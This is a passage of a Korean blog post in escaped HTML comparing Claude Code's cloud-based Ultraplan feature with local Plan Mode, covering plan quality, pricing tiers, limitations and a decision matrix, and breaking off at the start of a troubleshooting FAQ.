&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 이번 테스트의 특수한 상황&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 /ultraplan 실행은 레포 용량 초과로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;클라우드가 아닌 로컬에서 진행&lt;/b&gt;되었다. 따라서 Ultraplan의 핵심 장점인 클라우드 병렬 처리 속도 이점은 이 테스트에 반영되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서는 정상적으로 웹에서 실행된 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&quot;확실히 빠르고, 플랜의 구조화 수준도 높다&quot;&lt;/b&gt;는 평가가 주류이다. 속도 면에서 로컬 대비 우위가 있다는 점은 커뮤니티 다수 의견이 일치한다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 비교는 속도를 제외하고,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;플랜 퀄리티(내용의 깊이와 실행 가능성)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;관점에서 평가한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;로컬 Plan Mode 결과 요약&lt;/h4&gt;
&lt;div style=&quot;background-color: #f0f7ff; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 진단:&lt;/b&gt; 6-Agent 하네스의 현재 병목은 &lt;b&gt;Writer 에이전트&lt;/b&gt;에 집중되어 있다. Writer가 전체 품질 이슈의 약 80%를 차지하며, Evaluator의 피드백 루프가 Writer 수정에 의존하는 구조이므로 Writer 개선이 전체 파이프라인 품질에 직결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;우선순위 기반 접근:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;P0 (즉시)&lt;/b&gt;: Writer 에이전트 프롬프트에 자동 개선 루프 적용 &amp;mdash; 과거 QA 리포트 패턴을 분석하여 반복 실패 항목을 Writer 프롬프트에 자동 반영&lt;/li&gt;
&lt;li&gt;&lt;b&gt;P1 (단기)&lt;/b&gt;: Evaluator &amp;rarr; Writer 피드백 경로 최적화 &amp;mdash; failure code별 구체적 수정 지시 강화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;P2 (중기)&lt;/b&gt;: Researcher 에이전트 evidence 품질 개선 &amp;mdash; evidence 부족이 Writer 품질 저하의 근본 원인인 경우 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt; 기존 5개 런의 QA 리포트 데이터를 직접 분석하여 &quot;어디가 가장 많이 실패하는가&quot;를 수치로 파악한 뒤 계획을 도출했다. 데이터 기반 의사결정.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Ultraplan 결과 요약&lt;/h4&gt;
&lt;div style=&quot;background-color: #f5f0ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계 구조화 접근:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Phase 1 &amp;mdash; 분석&lt;/b&gt;: 현재 파이프라인의 SKILL.md, 에이전트 프롬프트, QA 기준 파일을 체계적으로 분석하여 개선 포인트 도출&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phase 2 &amp;mdash; 설계&lt;/b&gt;: autoimprove 루프의 Score &amp;rarr; Decide &amp;rarr; Improve &amp;rarr; Iterate 패턴을 하네스에 매핑하는 아키텍처 설계&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Phase 3 &amp;mdash; 구현 및 검증&lt;/b&gt;: 단계별 구현 후 기존 런과 비교 테스트로 품질 향상 여부 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;리스크 매트릭스 포함:&lt;/b&gt; &quot;자동 개선이 오히려 품질을 저하시킬 위험&quot;, &quot;피드백 루프 무한 반복 가능성&quot; 등 예상 리스크와 대응 방안을 사전에 정의했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt; 프로젝트 관리 문서 수준의 체계적 구조. 팀원에게 공유하거나 리뷰를 받기에 적합한 형태.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 별도의 에이전트에게 결과에 대한 비교도 요청 해 보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;비교 평가&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e6f3ff;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: bold;&quot;&gt;평가 항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: center; font-weight: bold;&quot;&gt;로컬 Plan Mode&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: center; font-weight: bold;&quot;&gt;Ultraplan&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;문제 진단 깊이&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 실제 데이터 기반 병목 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;구조적 분석, 데이터 참조 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 가능성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 즉시 실행 가능한 P0/P1/P2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;Phase 구분은 명확하나 구체성 부족&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;문서 완성도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;실무 메모 수준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 리스크 매트릭스, 검증 방법론 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리스크 관리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;언급 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 사전 리스크 정의 및 대응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컨텍스트 활용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;&lt;b&gt;우세&lt;/b&gt; &amp;mdash; 로컬 파일 직접 읽기 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;GitHub 클론 기반, 커밋되지 않은 파일 접근 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f7ff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; font-weight: bold;&quot;&gt;종합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center; font-weight: bold;&quot;&gt;실행에 강함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center; font-weight: bold;&quot;&gt;문서화에 강함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f5e9; border-left: 4px solid #4caf50; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; &quot;어느 쪽이 더 좋은가&quot;는 목적에 따라 다르다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;지금 바로 실행할 계획이 필요하다면&lt;/b&gt; &amp;rarr; 로컬 Plan Mode. 프로젝트의 실제 데이터를 분석하고, 로컬 파일(커밋되지 않은 작업 포함)에 접근하여 구체적인 액션 아이템을 도출한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;팀에 공유할 구조화된 계획서가 필요하다면&lt;/b&gt; &amp;rarr; Ultraplan. 체계적인 Phase 구분, 리스크 매트릭스, 검증 방법론이 포함된 문서 수준의 산출물을 생성한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상적으로는 &lt;b&gt;Ultraplan으로 큰 그림을 그리고, 로컬 Plan Mode로 실행 세부사항을 채우는 조합&lt;/b&gt;이 가장 효과적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 상기 두개의 플랜을 서로 상호 보완 한 후 그 결과를 토대로 개선작업을 진행 시켰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 요금제 및 제한사항&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #856404;&quot;&gt;⚠ 주의&lt;/span&gt;&lt;/b&gt; 이 섹션의 가격 정보는 2026-04-08 기준이다. 요금은 언제든 변경될 수 있으므로, 최신 가격은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 페이지&lt;/a&gt;에서 확인하기 바란다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Max 플랜 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code Ultraplan을 사용하려면 최소 Pro 플랜이 필요하다. 더 많은 사용량이 필요한 경우 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/pricing/max&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Max 플랜&lt;/a&gt;을 고려한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;월 요금&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;사용량&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;주요 특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$20&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기준&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code, Ultraplan 기본 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 5x&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$100&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro의 5배&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code 집중 사용자용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Max 20x&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;$200&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Pro의 20배&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;하루 종일 개발 워크로드용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Max 5x와 Max 20x의 기능 세트는 동일하다. 유일한 차이는 사용량 할당량이다. 독립 테스트에 따르면 Max 5x는 5시간 창당 약 225개 메시지, Max 20x는 약 900개 메시지를 처리한다. (이는 공식 수치가 아닌 커뮤니티 측정값이다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;포함 기능 (Max 플랜 기준)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;멀티모달 채팅&lt;/li&gt;
&lt;li&gt;Claude Code 통합 (터미널 에이전트)&lt;/li&gt;
&lt;li&gt;Cowork 파일 워크플로우&lt;/li&gt;
&lt;li&gt;메모리 기능&lt;/li&gt;
&lt;li&gt;신기능 얼리 액세스 (새 모델, 보이스 모드 등)&lt;/li&gt;
&lt;li&gt;피크 시간 우선 서비스&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Ultraplan 제한사항 요약&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GitHub 연동 필수 (로컬 전용 저장소는 번들 폴백, 100MB 제한)&lt;/li&gt;
&lt;li&gt;유저 레벨 설정(~/.claude/) 미동기화 &amp;mdash; 프로젝트에 커밋된 설정만 사용 가능&lt;/li&gt;
&lt;li&gt;research preview 단계 &amp;mdash; 피드백에 따라 변경 가능&lt;/li&gt;
&lt;li&gt;Ultraplan 시작 시 Remote Control 자동 해제&lt;/li&gt;
&lt;li&gt;Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서 사용 불가&lt;/li&gt;
&lt;li&gt;Claude Code v2.1.91 이상 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 대안 비교: Ultraplan vs 로컬 Plan Mode&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Ultraplan (클라우드)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;로컬 Plan Mode&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 위치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic 관리 클라우드 VM&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 터미널&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미공개 (공식 문서에 명시 없음)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설정된 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리소스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;약 4 vCPU / 16GB RAM / 30GB 디스크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 머신 사양&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;터미널 차단&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;없음 (터미널 자유)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;있음 (터미널 점유)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커스텀 Skill&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트 커밋 skill만 지원 (유저 레벨 미지원)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;GitHub 연동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;필수&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 환경 접근&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;리뷰 인터페이스&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응, 아웃라인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;터미널 텍스트 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 리팩토링&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 에이전트로 유리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;순차 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인터넷 없는 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용 불가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Ultraplan은 대규모 복잡한 플래닝에서 클라우드 병렬 처리의 이점을 제공하고, 로컬 Plan Mode는 커스텀 환경과 오프라인 상황에서 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;결정 매트릭스: 언제 무엇을 써야 하는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;시나리오&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 선택&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대규모 코드베이스 리팩토링&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 에이전트, 긴 처리 시간, 브라우저 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;유저 레벨(~/.claude/) skill 워크플로우&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;유저 레벨 설정 클라우드 미동기화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 단일 파일 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan 오버헤드 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 플랜 리뷰 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 파일 시스템 접근 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클라우드는 GitHub 스냅샷만 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;오프라인/VPN 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로컬 Plan Mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan은 인터넷 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저 리뷰 인터페이스 필요&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Ultraplan&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인라인 댓글, 이모지 반응 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트러블슈팅 Q&amp;amp;A + 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;Ultraplan이 시작되지 않아요&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A: 두 가지를 확인한다. 첫째, Pro 이상 플랜 계정으로 로그인했는가. 둘째, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultraplan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 저장소가 연동&lt;/a&gt;되어 있는가. 로컬 전용 저장소에서는 Ultraplan이 작동하지 않는다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q: &quot;플랜을 승인했는데 Claude가 플랜 파일이 아닌 소스 파일을 직접 편집해요&quot;&lt;/b&gt;&lt;/p&gt;
